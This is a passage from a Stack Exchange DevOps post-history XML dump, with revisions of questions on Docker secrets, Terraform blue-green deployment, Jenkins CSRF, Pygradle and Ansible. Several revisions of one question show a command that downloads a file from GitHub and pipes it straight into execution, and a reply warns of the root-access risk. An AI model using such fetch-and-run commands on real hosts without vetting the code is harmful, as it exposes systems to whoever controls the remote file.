NextCloud, running on a server in &quot;your&quot; house, building, etc. In this case &quot;you&quot; decide about what the terms and conditions are, and the only kind of fees you'll be facing is the cost to create and operate your own server (and manage the users allowed to access it). This is clearly the on-premise version.&#xD;&#xA;&#xD;&#xA;PS: Obviously, both approaches have their pros and cons ... use [this link](https://devops.stackexchange.com/questions/ask) for more details on that." ContentLicense="CC BY-SA 3.0" />
  <row Id="9848" PostHistoryTypeId="6" PostId="1901" RevisionGUID="ea8c8ce5-3965-4c6e-a21a-ecb3d3208fde" CreationDate="2018-01-21T10:23:20.897" UserId="40" Comment="edited tags" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9849" PostHistoryTypeId="5" PostId="1901" RevisionGUID="ea8c8ce5-3965-4c6e-a21a-ecb3d3208fde" CreationDate="2018-01-21T10:23:20.897" UserId="40" Comment="edited tags" Text="I mean, DevOps is, from the business view, about speed and quality, right?&#xD;&#xA;&#xD;&#xA;What does it mean if a company is growing and fast enough for their customers without devops? Does one of the following apply?&#xD;&#xA;&#xD;&#xA;1. They did, or do software development at sufficient level, no change is required.&#xD;&#xA;2. They do DevOps but don't know it/gave it another name.&#xD;&#xA;3. They do something totally different and better than DevOps as we know it and we really should find out what it is (before it is too late).&#xD;&#xA;4. They are awfully wrong: their speed and quality are below their knowledge and they will know it as of next financial report (in case they manage to survive long enough to see it)." ContentLicense="CC BY-SA 3.0" />
  <row Id="9851" PostHistoryTypeId="50" PostId="2939" RevisionGUID="4b4dd0f8-9184-4600-96a0-cf3a287f9465" CreationDate="2018-01-21T10:44:00.793" UserId="-1" />
  <row Id="9852" PostHistoryTypeId="5" PostId="3101" RevisionGUID="dd6cd8fa-92e0-473e-993e-af201760b8a6" CreationDate="2018-01-21T10:49:45.333" UserId="3599" Comment="added 80 characters in body" Text="It's kind of hidden away and not very intuitive.&#xD;&#xA;&#xD;&#xA;Within the AWS Lamba admin: Create Function &gt; Author from Scratch.&#xD;&#xA;Within the `Code entry type` dropdown there is a `Upload a .ZIP file` option.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Gezdv.jpg&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9853" PostHistoryTypeId="2" PostId="3137" RevisionGUID="34cb7a92-2e87-4fe1-8588-5347c1e2780f" CreationDate="2018-01-21T11:14:05.460" UserId="5879" Text="Currently I use env and sql files so that docker compose can load secrets from there and build sql database docker instances with specific user/password. The question is, how can this be ported to docker swarm? Docker secrets seem to only provide secret files over encrypted channels, but not set environment variables or be able to configure docker builds." ContentLicense="CC BY-SA 3.0" />
  <row Id="9854" PostHistoryTypeId="1" PostId="3137" RevisionGUID="34cb7a92-2e87-4fe1-8588-5347c1e2780f" CreationDate="2018-01-21T11:14:05.460" UserId="5879" Text="How can secrets be distributed in a docker swarm?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9855" PostHistoryTypeId="3" PostId="3137" RevisionGUID="34cb7a92-2e87-4fe1-8588-5347c1e2780f" CreationDate="2018-01-21T11:14:05.460" UserId="5879" Text="&lt;docker-compose&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9856" PostHistoryTypeId="2" PostId="3138" RevisionGUID="34d22c9c-a99d-46e4-9ee1-849238f18ede" CreationDate="2018-01-21T13:55:30.403" UserId="3899" Text="I was able to find the root of issue. The problem was in the configuration of salt master. After every change of reactor config, I must run `salt-call state.highstate` command on master to sync reactor source code changes with it. I missed this step and thus my reactor config differed from my original source code in IDE. So once I ran mentioned command, everything became in sync. Thanks everybody for help! " ContentLicense="CC BY-SA 3.0" />
  <row Id="9857" PostHistoryTypeId="5" PostId="3138" RevisionGUID="257d3c03-f44c-42fc-ada2-7ab7f19d55b4" CreationDate="2018-01-21T14:04:10.993" UserId="3899" Comment="added 390 characters in body" Text="I was able to find the root of issue. The problem was in the configuration of salt master. After every change of reactor config, I must run `salt-call state.highstate` command on master to sync reactor source code changes with it. I missed this step and thus my reactor config differed from my original source code in IDE. So once I ran mentioned command, everything became in sync. Thanks everybody for help! &#xD;&#xA;&#xD;&#xA;P.S. regarding mentioned error, it occurred because I used kwarg in dev.sls for pillar and represented pillar as list: &#xD;&#xA;&#xD;&#xA;    &gt;     kwarg:&#xD;&#xA;    &gt;      - pillar:&#xD;&#xA;    &gt;          temp_var_transmit: {{ payload }}&#xD;&#xA;Kwarg can not contain a list in this case. It may contain key:value format only. So the correct way is either use without kwarg as I did or remove hyphen near pillar.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9862" PostHistoryTypeId="5" PostId="7" RevisionGUID="8fc5b64c-bbac-436b-b6c5-f5d8a4631f24" CreationDate="2018-01-22T00:57:58.853" UserId="739" Comment="copy editing" Text="There are two similar CI: Hudson and Jenkins. The Jenkins project was forked from Hudson after a dispute with Oracle. Why was it renamed back to Jenkins and what was the dispute about?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9863" PostHistoryTypeId="24" PostId="7" RevisionGUID="8fc5b64c-bbac-436b-b6c5-f5d8a4631f24" CreationDate="2018-01-22T00:57:58.853" Comment="Proposed by 739 approved by 40, 3 edit id of 593" ContentLicense="CC BY-SA 3.0" />
  <row Id="9864" PostHistoryTypeId="5" PostId="2043" RevisionGUID="fd05f97a-2da2-49a6-8a91-fdad0b9e64a7" CreationDate="2018-01-22T05:33:34.667" UserId="4369" Comment="added 370 characters in body" Text="&gt;What are the general ways to tackle this problem?&#xD;&#xA;&#xD;&#xA;The ideal way to resolve your problem would be to dockerise your application, as it would remove any worries you have about compatibility between your build and running servers. Installing dependencies using pip in a Dockerfile is trivial, and as long as you're deploying the same container image you never need to worry about inconsistency.&#xD;&#xA;&#xD;&#xA;Edit: as luck would have it I actually found myself wanting to have a venv that worked both inside and outside Docker, so I came up with the following:&#xD;&#xA;&#xD;&#xA;    python3.6 -m venv --copies venv&#xD;&#xA;    sed -i '43s/.*/VIRTUAL_ENV=&quot;$(cd &quot;$(dirname &quot;$(dirname &quot;${BASH_SOURCE[0]}&quot; )&quot;)&quot; \&amp;\&amp; pwd)&quot;/' venv/bin/activate&#xD;&#xA;    sed -i '1s/.*/#!\/usr\/bin\/env python/' venv/bin/pip*" ContentLicense="CC BY-SA 3.0" />
  <row Id="9865" PostHistoryTypeId="2" PostId="3140" RevisionGUID="ec619189-af64-4ca7-a440-657ad392d4fb" CreationDate="2018-01-22T07:12:04.520" UserId="707" Text="&#xD;&#xA;&#xD;&#xA;&gt; Once the secret reaches a manager node, it gets saved to the internal&#xD;&#xA;&gt; Raft store, which uses NACL’s Salsa20Poly1305 with a 256-bit key to&#xD;&#xA;&gt; ensure no data is ever written to disk unencrypted. **Writing to the&#xD;&#xA;&gt; internal store gives secrets the same high availability guarantees&#xD;&#xA;&gt; that the the rest of the swarm management data gets.**&#xD;&#xA;&#xD;&#xA;https://blog.docker.com/2017/02/docker-secrets-management/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9871" PostHistoryTypeId="2" PostId="3142" RevisionGUID="96dc9f17-21f5-4fa9-9989-1d6d5c3cb22e" CreationDate="2018-01-22T14:39:58.237" UserId="6194" Text="I have  been trying use terraform for a while . any suggestions/tips on how I can handle blue green deployments . I see how terraform enables it with auto scale groups on aws . But I’d like run some Cucumber acceptance tests on the new Asg before routing traffic to it . Is there a way in terraform to retain the old asg for a period , if In case I need to do a rollback . Can this be accomplished with terraform ... thanks in advance ." ContentLicense="CC BY-SA 3.0" />
  <row Id="9872" PostHistoryTypeId="1" PostId="3142" RevisionGUID="96dc9f17-21f5-4fa9-9989-1d6d5c3cb22e" CreationDate="2018-01-22T14:39:58.237" UserId="6194" Text="Does terraform support blue green deployments and roll backs out of the box" ContentLicense="CC BY-SA 3.0" />
  <row Id="9873" PostHistoryTypeId="3" PostId="3142" RevisionGUID="96dc9f17-21f5-4fa9-9989-1d6d5c3cb22e" CreationDate="2018-01-22T14:39:58.237" UserId="6194" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9880" PostHistoryTypeId="2" PostId="3144" RevisionGUID="7d8ceda4-fdb5-4eed-8062-072c624b0745" CreationDate="2018-01-22T16:11:57.993" UserId="6205" Text="We have a lot of legacy code that have poor test coverage. We wish that all new code that is checked in through pull requests has (close to) full test coverage. What is the best approach or tools to achieve this?&#xD;&#xA;&#xD;&#xA;We're using git-tfs, .NET C# and TypeScript. And we'd like this to be part of the code review process and prevent developers (or at least give a warning) to check in with insufficient test coverage." ContentLicense="CC BY-SA 3.0" />
  <row Id="9881" PostHistoryTypeId="1" PostId="3144" RevisionGUID="7d8ceda4-fdb5-4eed-8062-072c624b0745" CreationDate="2018-01-22T16:11:57.993" UserId="6205" Text="Test coverage of changed code in pull requests in git-tfs" ContentLicense="CC BY-SA 3.0" />
  <row Id="9882" PostHistoryTypeId="3" PostId="3144" RevisionGUID="7d8ceda4-fdb5-4eed-8062-072c624b0745" CreationDate="2018-01-22T16:11:57.993" UserId="6205" Text="&lt;git&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9885" PostHistoryTypeId="2" PostId="3145" RevisionGUID="9d9ac669-7ff4-4370-8eb0-3fc74fa11a91" CreationDate="2018-01-22T18:56:18.793" UserId="736" Text="Recently Jenkins has been putting out a number of security warnings related to CSRF Protection. We tried enabling it on our version of Jenkins (ver. 2.89.2) only to find that with it enabled you can no longer add or edit parameters on either freestyle or pipeline jobs via the GUI. &#xD;&#xA;&#xD;&#xA;I did fairly extensive testing to narrow it down as the culprit, but I still don't understand why the option exists and is being recommended if it cripples Jenkins jobs. &#xD;&#xA;&#xD;&#xA;Is this a feature or a bug? If it is a feature, why? What's to gain?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9886" PostHistoryTypeId="1" PostId="3145" RevisionGUID="9d9ac669-7ff4-4370-8eb0-3fc74fa11a91" CreationDate="2018-01-22T18:56:18.793" UserId="736" Text="Enabling CSRF Protection prevents editing/adding parameters to jobs - intentional or bug?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9887" PostHistoryTypeId="3" PostId="3145" RevisionGUID="9d9ac669-7ff4-4370-8eb0-3fc74fa11a91" CreationDate="2018-01-22T18:56:18.793" UserId="736" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9888" PostHistoryTypeId="2" PostId="3146" RevisionGUID="d6f3ed4f-4083-417f-80e1-420549de4c88" CreationDate="2018-01-22T19:47:57.717" UserId="5125" Text="It all depends on how you are deploying your code.&#xD;&#xA;&#xD;&#xA;(First, IMHO, I don't think that Terraform is the right hammer for this operation. Terraform responsibility is to build the necessary infrastructure for your application, not to be the tool used for deploying it. But, as always, &quot;the right/best one&quot; will depend on lots of factors and, depending on the case/scale, it may be the &quot;good enough&quot; solution)&#xD;&#xA;&#xD;&#xA;My suggestion would be, in summary: 1) Deploy your application in the &quot;unused&quot; environment 2) Test it 3) Change the domain name to point to it&#xD;&#xA;&#xD;&#xA;Assuming you have 2 AutoScaling groups already configured. One called `asg-blue` and the other called `asg-green`. And that the current version resides on `asg-blue` and in terraform you have an `aws_route53_record` pointing to it. You would need to follow these steps, each one with a `terraform apply` before the next: &#xD;&#xA;&#xD;&#xA;- Deploy the newer version of your application on `asg-green`&#xD;&#xA;    - I.e. update everything that is needed to deploy your application version. It may be the AMI you point on your `Launch Configuration` or any other way that you do exclusively using Terraform.&#xD;&#xA;- Test that everything is running as expected&#xD;&#xA;    - Here you could use the domain-name provided for each ASG or one already configured on terraform&#xD;&#xA;- Update the domain name to pont to `asg-green` ASG on the `aws_route53_record`&#xD;&#xA;- Reduce the number of machines needed on `asg-blue` to don't use too many resources &#xD;&#xA;    - Depending on your case you can configure for 0 machines&#xD;&#xA;&#xD;&#xA;This way you can have your B/G deployment, but for every deployment you'd need at least two manual interventions in your terraform (the deployment of the new version and updating the domain name).&#xD;&#xA;&#xD;&#xA;But with this strategy you should **take a lot of care** to not deploy on the current ASG being used. &#xD;&#xA;&#xD;&#xA;Of course if your terraform/aws fu is good, instead of reusing ASGs, you could delete and create them as needed.&#xD;&#xA;&#xD;&#xA;Hope that this help in having a &quot;big picture&quot; of the entire process. But I'd suggest that you research and start using tools more focused on deployment, like AWS CodeDeploy.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9889" PostHistoryTypeId="5" PostId="3146" RevisionGUID="606f9f14-919a-42c4-9fa3-f65ca0ff3f0e" CreationDate="2018-01-22T20:03:05.127" UserId="5125" Comment="added 8 characters in body" Text="It all depends on how you are deploying your code.&#xD;&#xA;&#xD;&#xA;(First, IMHO, I don't think that Terraform is the right hammer for this operation. Terraform responsibility is to build the necessary infrastructure for your application, not to be the tool used for deploying it. But, as always, &quot;the right/best one&quot; will depend on lots of factors and, depending on the case/scale, it may be the &quot;good enough&quot; solution)&#xD;&#xA;&#xD;&#xA;My suggestion would be, in summary: 1) Deploy your application in the &quot;unused&quot; environment 2) Test it 3) Change the domain name to point to it&#xD;&#xA;&#xD;&#xA;Assuming you have 2 AutoScaling groups already configured. One called `asg-blue` and the other called `asg-green`. And that the current version resides on `asg-blue` and in terraform you have an `aws_route53_record` pointing to it. You would need to follow these steps, each one with a `terraform apply` before the next: &#xD;&#xA;&#xD;&#xA;- Deploy the newer version of your application on `asg-green`&#xD;&#xA;    - I.e. update everything that is needed to deploy your application version. It may be the AMI you point on your `Launch Configuration` or any other way that you do exclusively using Terraform.&#xD;&#xA;- Test that everything is running as expected&#xD;&#xA;    - Here you could use the domain-name provided for each ASG/ELB or one already configured on terraform&#xD;&#xA;- Update the domain name to pont to `asg-green` ASG/ELB on the `aws_route53_record`&#xD;&#xA;- Reduce the number of machines needed on `asg-blue` to don't use too many resources &#xD;&#xA;    - Depending on your case you can configure for 0 machines&#xD;&#xA;&#xD;&#xA;This way you can have your B/G deployment, but for every deployment you'd need at least two manual interventions in your terraform (the deployment of the new version and updating the domain name).&#xD;&#xA;&#xD;&#xA;But with this strategy you should **take a lot of care** to not deploy on the current ASG being used. &#xD;&#xA;&#xD;&#xA;Of course if your terraform/aws fu is good, instead of reusing ASGs, you could delete and create them as needed.&#xD;&#xA;&#xD;&#xA;Hope that this help in having a &quot;big picture&quot; of the entire process. But I'd suggest that you research and start using tools more focused on deployment, like AWS CodeDeploy.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9890" PostHistoryTypeId="2" PostId="3147" RevisionGUID="059a0083-5310-4733-aee5-631e0c692265" CreationDate="2018-01-22T21:46:31.430" UserId="6201" Text="can you deploy a webserver (Nginx) and CMS (WordPress) on some Linux OS from a **raw** Github **playbook** similar to this?&#xD;&#xA;&#xD;&#xA;    bash &lt;(curl -s https://raw.githubusercontent.com/user/repo/master/nginx-cms-addons.yml | tr -d '\r' | ansible)&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;In use a similar pattern to download bash scripts but I want to know if the principle is identical for Ansible playbooks.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;My purpose is executing my playbook with ansible as a substitute for a long Bash script like this one:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ufw --force enable &amp;&amp; ufw allow 22,25,80,443,9000/tcp&#xD;&#xA;    apt-get update -y &amp;&amp; add-apt-repository ppa:certbot/certbot -y &amp;&amp; apt-get update -y&#xD;&#xA;    apt-get upgrade zip unzip tree unattended-upgrades sshguard nginx python-certbot-nginx mysql-server php-fpm php-mysql php-mbstring php-mcrypt -y&#xD;&#xA;    DEBIAN_FRONTEND=noninteractive apt-get upgrade postfix -y&#xD;&#xA;    sed -i &quot;s/post_max_size = .M/post_max_size = 250M/ ; s/upload_max_filesize = .M/upload_max_filesize = 250M/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    sed -i &quot;s/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    # sed -i &quot;s/# gzip_/gzip_/g&quot; /etc/nginx/nginx.conf&#xD;&#xA;    /etc/init.d/php*-fpm restart &amp;&amp; systemctl restart nginx.service" ContentLicense="CC BY-SA 3.0" />
  <row Id="9891" PostHistoryTypeId="1" PostId="3147" RevisionGUID="059a0083-5310-4733-aee5-631e0c692265" CreationDate="2018-01-22T21:46:31.430" UserId="6201" Text="The right way to Ansiblically deploy environments directly from Github:" ContentLicense="CC BY-SA 3.0" />
  <row Id="9892" PostHistoryTypeId="3" PostId="3147" RevisionGUID="059a0083-5310-4733-aee5-631e0c692265" CreationDate="2018-01-22T21:46:31.430" UserId="6201" Text="&lt;ansible&gt;&lt;github&gt;&lt;shell-script&gt;&lt;bash&gt;&lt;curl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9894" PostHistoryTypeId="2" PostId="3148" RevisionGUID="a9ad5268-5d92-4005-a6db-0442cb34be45" CreationDate="2018-01-22T22:08:47.647" UserId="5879" Text="Extending Peter Muryshkin’s answer with an significant restriction. Distributing secrets has to be adapted to a [file-based approach][1].&#xD;&#xA;&#xD;&#xA;&gt; Note: Docker secrets do not set environment variables directly. This&#xD;&#xA;&gt; was a conscious decision, because environment variables can&#xD;&#xA;&gt; unintentionally be leaked between containers (for instance, if you use&#xD;&#xA;&gt; --link).&#xD;&#xA;&#xD;&#xA;Some images already support this such as [Wordpress][2] and [MySQL][3] while others have to be updated to use this approach.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/secrets/#use-secrets-in-compose&#xD;&#xA;  [2]: https://hub.docker.com/r/_/wordpress/&#xD;&#xA;  [3]: https://hub.docker.com/_/mysql/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9895" PostHistoryTypeId="5" PostId="3147" RevisionGUID="b8552364-884f-4dc0-9504-cbcc8cc5827d" CreationDate="2018-01-22T22:38:15.407" UserId="6201" Comment="added 257 characters in body" Text="can you deploy an environment for some Linux OS (say, Ubuntu) from a **raw** Github **playbook** in a way similar to this?&#xD;&#xA;&#xD;&#xA;    bash &lt;(curl -s https://raw.githubusercontent.com/user/repo/master/nginx-cms-addons.yml | tr -d '\r' | ansible)&#xD;&#xA;&#xD;&#xA;In use a similar pattern to **download and execute** bash scripts but I want to know if the principle is identical for Ansible playbooks.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;If it matters, the environment I want to deploy directly from Github configures Ubuntu a bit (firewall), installs some trivial software like `zip`, a server environment (Nginx/Postfix) and that's basically it.&#xD;&#xA;&#xD;&#xA;My purpose to execute my playbook with `ansible` as a substitute for the long Bash script I currently use, made of this code, basically:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ufw --force enable &amp;&amp; ufw allow 22,25,80,443,9000/tcp&#xD;&#xA;    apt-get update -y &amp;&amp; add-apt-repository ppa:certbot/certbot -y &amp;&amp; apt-get update -y&#xD;&#xA;    apt-get upgrade zip unzip tree unattended-upgrades sshguard nginx python-certbot-nginx mysql-server php-fpm php-mysql php-mbstring php-mcrypt -y&#xD;&#xA;    DEBIAN_FRONTEND=noninteractive apt-get upgrade postfix -y&#xD;&#xA;    sed -i &quot;s/post_max_size = .M/post_max_size = 250M/ ; s/upload_max_filesize = .M/upload_max_filesize = 250M/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    sed -i &quot;s/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    # sed -i &quot;s/# gzip_/gzip_/g&quot; /etc/nginx/nginx.conf&#xD;&#xA;    /etc/init.d/php*-fpm restart &amp;&amp; systemctl restart nginx.service" ContentLicense="CC BY-SA 3.0" />
  <row Id="9896" PostHistoryTypeId="2" PostId="3149" RevisionGUID="0af6b959-16fc-402d-9efa-7dc42b6fccfc" CreationDate="2018-01-22T22:39:54.877" UserId="6210" Text="I'm working on a project to move our current stack from a mix of half-manual, half-undocumented, half-ansible into a solid code-defined architecture on AWS. Our plan is to use AWS CloudFormation heavily and off-load the following tasks to an internal tool:&#xD;&#xA;&#xD;&#xA; - Pipelining (running CFs / scripts in order)&#xD;&#xA; - Scripting tasks (that cannot be accomplished through CloudFormation)&#xD;&#xA; - Templating (if/as necessary)&#xD;&#xA; - Internal Validation&#xD;&#xA;&#xD;&#xA;This tool would be expected to build our entire environment more or less from scratch (bar a few things which can't be automated). &#xD;&#xA;&#xD;&#xA;Our product (at least on the backend) is built entirely in Javascript, and while it isn't my first language of choice I'm leaning towards writing this tool in Javascript. My other option would be Python as I favor that language more. However I see major value in being able to stick with a single language (libraries, tooling, paradigms, etc.) &#xD;&#xA;&#xD;&#xA;- Is JS an acceptable solution for this type of tool? &#xD;&#xA;- Would it raise major eyebrows if we were to bring on a DevOps Engineer in the future? &#xD;&#xA;- Is it unusual to use JS in the DevOps community?&#xD;&#xA;&#xD;&#xA;We already leverage JS (via https://serverless.com/) for some of our automation." ContentLicense="CC BY-SA 3.0" />
  <row Id="9897" PostHistoryTypeId="1" PostId="3149" RevisionGUID="0af6b959-16fc-402d-9efa-7dc42b6fccfc" CreationDate="2018-01-22T22:39:54.877" UserId="6210" Text="Is JS an reasonable choice for a DevOps internal tool (i.e. cloud-formation runner, scripts)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9898" PostHistoryTypeId="3" PostId="3149" RevisionGUID="0af6b959-16fc-402d-9efa-7dc42b6fccfc" CreationDate="2018-01-22T22:39:54.877" UserId="6210" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9899" PostHistoryTypeId="5" PostId="3147" RevisionGUID="f6e7705e-6af4-4486-a4fe-1ded76274303" CreationDate="2018-01-22T22:57:19.610" UserId="6201" Comment="added 15 characters in body" Text="can you deploy an environment for some Linux OS (say, Ubuntu) from a **raw** Github **playbook** in a way similar to this?&#xD;&#xA;&#xD;&#xA;    bash &lt;(curl -s https://raw.githubusercontent.com/user/repo/master/nginx-cms-addons.yml | tr -d '\r' | ansible)&#xD;&#xA;&#xD;&#xA;In use a similar pattern to **download and execute** bash scripts but I want to know if the principle is identical for Ansible playbooks.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;If it matters, the environment I want to deploy directly from the Github raw `yaml` configures Ubuntu a bit (firewall), installs some trivial software like `zip`, a server environment (Nginx/Postfix) and that's basically it.&#xD;&#xA;&#xD;&#xA;My purpose to execute my playbook with `ansible` as a substitute for the long Bash script I currently use, made of this code, basically:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    ufw --force enable &amp;&amp; ufw allow 22,25,80,443,9000/tcp&#xD;&#xA;    apt-get update -y &amp;&amp; add-apt-repository ppa:certbot/certbot -y &amp;&amp; apt-get update -y&#xD;&#xA;    apt-get upgrade zip unzip tree unattended-upgrades sshguard nginx python-certbot-nginx mysql-server php-fpm php-mysql php-mbstring php-mcrypt -y&#xD;&#xA;    DEBIAN_FRONTEND=noninteractive apt-get upgrade postfix -y&#xD;&#xA;    sed -i &quot;s/post_max_size = .M/post_max_size = 250M/ ; s/upload_max_filesize = .M/upload_max_filesize = 250M/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    sed -i &quot;s/;cgi.fix_pathinfo=1/cgi.fix_pathinfo=0/&quot; /etc/php/*/fpm/php.ini&#xD;&#xA;    # sed -i &quot;s/# gzip_/gzip_/g&quot; /etc/nginx/nginx.conf&#xD;&#xA;    /etc/init.d/php*-fpm restart &amp;&amp; systemctl restart nginx.service" ContentLicense="CC BY-SA 3.0" />
  <row Id="9900" PostHistoryTypeId="2" PostId="3150" RevisionGUID="74695718-3ff9-4155-8e67-6cfa2a99f382" CreationDate="2018-01-22T23:10:04.377" UserId="210" Text="[Pygradle][1] is used to build a python project.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;The problem is that the CI runs a different Python version, resulting in different build outcomes, e.g. the build succeeded on the laptop, but failed on CI.&#xD;&#xA;&#xD;&#xA;*CI*&#xD;&#xA;&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform linux -- Python 3.6.3, pytest-2.9.1, py-1.4.29, pluggy-0.3.1&#xD;&#xA;    rootdir: /home/travis/build/RikSchoonbeek/Cryptotrading, inifile: &#xD;&#xA;    plugins: cov-2.2.1&#xD;&#xA;    collected 1 items&#xD;&#xA;&#xD;&#xA;*Laptop*&#xD;&#xA;&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform linux2 -- Python 2.7.5, pytest-2.9.1, py-1.4.29, pluggy-0.3.1&#xD;&#xA;    rootdir: /home/ben/dev/Cryptotrading, inifile: &#xD;&#xA;    plugins: cov-2.2.1&#xD;&#xA;    collected 1 items&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;To ensure that the build fails both locally on CI and on the laptop, the same python version should be used.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is it possible to set a minimum Python version in Pygradle?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/linkedin/pygradle" ContentLicense="CC BY-SA 3.0" />
  <row Id="9901" PostHistoryTypeId="1" PostId="3150" RevisionGUID="74695718-3ff9-4155-8e67-6cfa2a99f382" CreationDate="2018-01-22T23:10:04.377" UserId="210" Text="Is it possible to set a minimum Python version in Pygradle?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9902" PostHistoryTypeId="3" PostId="3150" RevisionGUID="74695718-3ff9-4155-8e67-6cfa2a99f382" CreationDate="2018-01-22T23:10:04.377" UserId="210" Text="&lt;pygradle&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9903" PostHistoryTypeId="2" PostId="3151" RevisionGUID="db3f4838-6ab8-4f92-ac34-59a90791e2c6" CreationDate="2018-01-22T23:15:37.023" UserId="4175" Text="There is no &quot;right&quot; or &quot;wrong&quot;. If the commands work when you type them in, then they work, and we won't keep you from doing it.&#xD;&#xA;&#xD;&#xA;Everything else is opinion. Sure, there are some best practices, for example some people find it unwise to directly fetch scripts from a public (3rd party) website and execute those locally without having a look inside first. &#xD;&#xA;&#xD;&#xA;It goes without saying that your approach is in fact a rather significant risk. You are effectively giving root access on the target machine (and any other machine your local user has ssh keys for...) to anyone who can push into your repository. How earnest that risk is is something only you can decide. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9904" PostHistoryTypeId="2" PostId="3152" RevisionGUID="729dbdcd-9be9-4ca1-b021-b1ff8073d4c9" CreationDate="2018-01-22T23:20:40.077" UserId="210" Text="[Pygradle][1] is used to build and test a Python project. In gradle it is possible to define a minimum code [coverage percentage][2]:&#xD;&#xA;&#xD;&#xA;&gt;     jacocoTestCoverageVerification {&#xD;&#xA;&gt;         violationRules {&#xD;&#xA;&gt;             rule {&#xD;&#xA;&gt;                 limit {&#xD;&#xA;&gt;                     minimum = 0.5&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;     &#xD;&#xA;&gt;             rule {&#xD;&#xA;&gt;                 enabled = false&#xD;&#xA;&gt;                 element = 'CLASS'&#xD;&#xA;&gt;                 includes = ['org.gradle.*']&#xD;&#xA;&gt;     &#xD;&#xA;&gt;                 limit {&#xD;&#xA;&gt;                     counter = 'LINE'&#xD;&#xA;&gt;                     value = 'TOTALCOUNT'&#xD;&#xA;&gt;                     maximum = 0.3&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;If this limit is not reached, build will fail. Is it possible to define a minimum code coverage using Pygradle?&#xD;&#xA;&#xD;&#xA;When the above snippet is run, the build fails and the following is returned:&#xD;&#xA;&#xD;&#xA;    FAILURE: Build failed with an exception.&#xD;&#xA;    &#xD;&#xA;    * Where:&#xD;&#xA;    Build file '/home/user/SomeProject/build.gradle' line: 14&#xD;&#xA;    &#xD;&#xA;    * What went wrong:&#xD;&#xA;    A problem occurred evaluating root project 'SomeProject'.&#xD;&#xA;    &gt; Could not find method jacocoTestCoverageVerification() for arguments [build_fsdafasdfsa] on root project 'SomeProject' of type org.gradle.api.Project.&#xD;&#xA;    &#xD;&#xA;    * Try:&#xD;&#xA;    Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights.&#xD;&#xA;    &#xD;&#xA;    * Get more help at https://help.gradle.org&#xD;&#xA;    &#xD;&#xA;    BUILD FAILED in 2s&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/linkedin/pygradle&#xD;&#xA;  [2]: https://docs.gradle.org/current/userguide/jacoco_plugin.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9905" PostHistoryTypeId="1" PostId="3152" RevisionGUID="729dbdcd-9be9-4ca1-b021-b1ff8073d4c9" CreationDate="2018-01-22T23:20:40.077" UserId="210" Text="Is it possible to define a minimum code coverage using Pygradle?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9906" PostHistoryTypeId="3" PostId="3152" RevisionGUID="729dbdcd-9be9-4ca1-b021-b1ff8073d4c9" CreationDate="2018-01-22T23:20:40.077" UserId="210" Text="&lt;pygradle&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9907" PostHistoryTypeId="2" PostId="3153" RevisionGUID="14eb7f1c-757f-4a47-a20f-866be13df1cc" CreationDate="2018-01-22T23:22:21.380" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
